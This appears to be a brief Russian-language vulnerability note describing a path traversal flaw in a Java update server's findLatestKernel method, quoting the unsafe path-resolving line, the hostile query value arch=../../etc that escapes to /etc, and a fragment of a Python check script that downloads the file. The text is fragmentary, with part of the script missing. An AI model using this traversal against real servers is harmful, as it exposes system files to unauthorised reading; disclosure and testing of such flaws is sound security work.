29 lines
1.4 KiB
Plaintext
29 lines
1.4 KiB
Plaintext
https://git.rosetta.im/Rosetta/rosetta-sdu/src/branch/main/README.md
|
||
|
||
|
||
Path Traversal (выход за пределы папки kernel)
|
||
|
||
KERNEL_DIR.resolve(platform).resolve(arch) без фильтрации ..
|
||
GET через параметры platform и arch в строке запроса
|
||
|
||
|
||
в классе UpdatesResource есть метод findLatestKernel. Он берёт параметры platform и arch прямо из запроса и делает так:
|
||
----------------------------------------------------------------------------------------------------------------------------
|
||
java
|
||
java.nio.file.Path targetDir = KERNEL_DIR.resolve(platform).resolve(arch);
|
||
KERNEL_DIR – это просто папка kernel. Дальше сервер смотрит есть ли там папка с таким путём, и если есть ищет в ней файлы. Но он не чистит строки от ../. Поэтому если передать arch=../../etc, то resolve склеит всё в путь kernel/../../etc, который после нормализации превратится в /etc.
|
||
|
||
Останется только скачать эту ссылку .....
|
||
|
||
|
||
|
||
content = f.read().decode("utf-8", errors="replace")
|
||
print(content[:1000])
|
||
except URLError:
|
||
print("Failed to download file.")
|
||
sys.exit(0)
|
||
|
||
print("Not vulnerable")
|
||
sys.exit(1)
|
||
|